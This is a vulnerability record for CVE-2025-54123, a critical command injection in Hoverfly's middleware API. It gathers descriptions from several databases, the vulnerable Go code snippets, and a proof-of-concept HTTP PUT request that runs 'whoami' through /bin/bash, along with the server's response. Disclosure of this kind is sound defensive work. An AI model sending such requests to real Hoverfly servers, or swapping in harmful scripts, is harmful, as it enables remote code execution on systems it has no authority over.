CVE-2025-54123
JSON

9.8critical

Hoverfly vulnerable to remote code execution at `/api/v2/hoverfly/middleware` endpoint due to insecure middleware implementation

Severity
9.8critical CVSS:3.1 by GitHub_M
Exploit likelihood
11.0% (higher than 95% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-r4h8-hfp2-ggmfGO-2025-3944

Description

Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: Insufficient Input Validation in middleware.go line 94-96; Unsafe Command Execution in local_middleware.go line 14-19; and Immediate Execution During Testing in hoverfly_service.go line 173. This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the Hoverfly process. Commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 in version 1.12.0 disables the set middleware API by default, and subsequent changes to documentation make users aware of the security changes of exposing the set middleware API.

Affected

Product or packageVersionsReported by
SpectoLabs hoverfly<= 1.11.3CVE List
github.com/SpectoLabs/hoverfly (Go)up to 1.11.3, all versionsGitHub Advisory Database, Go Vulnerability Database
hoverfly hoverflybefore 1.12.0NVD

All scores

GitHub_M9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-20CWE-78

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: Insufficient Input Validation in middleware.go line 94-96; Unsafe Command Execution in local_middleware.go line 14-19; and Immediate Execution During Testing in hoverfly_service.go line 173. This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the Hoverfly process. Commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 in version 1.12.0 disables the set middleware API by default, and subsequent changes to documentation make users aware of the security changes of exposing the set middleware API.

GitHub Advisory Database
Summary

It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its /api/v2/hoverfly/middleware endpoint due to insufficient validation and sanitization in user input.

Details

The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware.

This issue is born due to combination of three code level flaws:

  1. Insufficient Input Validation in middleware.go line 94-96:
func (this *Middleware) SetBinary(binary string) error {
    this.Binary = binary  // No validation of binary parameter here
    return nil
}
  1. Unsafe Command Execution in local_middleware.go line 14-19:
var middlewareCommand *exec.Cmd
if this.Script == nil {
    middlewareCommand = exec.Command(this.Binary)  // User-controlled binary
} else {
    middlewareCommand = exec.Command(this.Binary, this.Script.Name())  // User-controlled binary and script
}
  1. Immediate Execution During Testing in hoverfly_service.go line 173:
_, err = newMiddleware.Execute(testData)  // Executes middleware immediately for testing
POC
  1. Send the below HTTP PUT request to http://localhost:8888 in order to create our malicious middleware, this will execute a simple whoami command on target. (ADMIN UI/API)

Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: /bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101

{
    "binary": "/bin/bash",
    "script": "whoami"
}
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jul 2025 15:55:49 GMT
Content-Length: 540
Content-Type: text/plain; charset=utf-8

{"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"}

(Here, the user is kr1shna4garwal)

Impact

This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.

Reporter: @kr1shna4garwal

Go Vulnerability Database

Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation in github.com/SpectoLabs/hoverfly

NVD (es)

Hoverfly es una herramienta de simulación de API de código abierto. En las versiones 1.11.3 y anteriores, la funcionalidad de middleware en Hoverfly es vulnerable a una vulnerabilidad de inyección de comandos en el endpoint '/api/v2/hoverfly/middleware' debido a una validación y sanitización insuficientes en la entrada del usuario. La vulnerabilidad existe en el endpoint de la API de gestión de middleware '/api/v2/hoverfly/middleware'. Este problema nace de la combinación de tres fallos a nivel de código: Validación de Entrada Insuficiente en middleware.go línea 94-96; Ejecución de Comandos Insegura en local_middleware.go línea 14-19; y Ejecución Inmediata Durante las Pruebas en hoverfly_service.go línea 173. Esto permite a un atacante obtener ejecución remota de código (RCE) en cualquier sistema que ejecute el servicio Hoverfly vulnerable. Dado que la entrada se pasa directamente a los comandos del sistema sin las comprobaciones adecuadas, un atacante puede cargar una carga útil maliciosa o ejecutar directamente comandos arbitrarios (incluyendo shells inversas) en el servidor anfitrión con los privilegios del proceso Hoverfly. El commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 en la versión 1.12.0 deshabilita la API de configuración de middleware por defecto, y los cambios posteriores en la documentación alertan a los usuarios sobre los cambios de seguridad al exponer la API de configuración de middleware.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-54123 changed 2025-09-10CVE Terms of Use
GitHub Advisory DatabaseGHSA-r4h8-hfp2-ggmf changed 2025-09-17CC-BY-4.0
Go Vulnerability DatabaseGO-2025-3944 changed 2026-03-03CC-BY-4.0
NVDCVE-2025-54123 changed 2026-06-17Public domain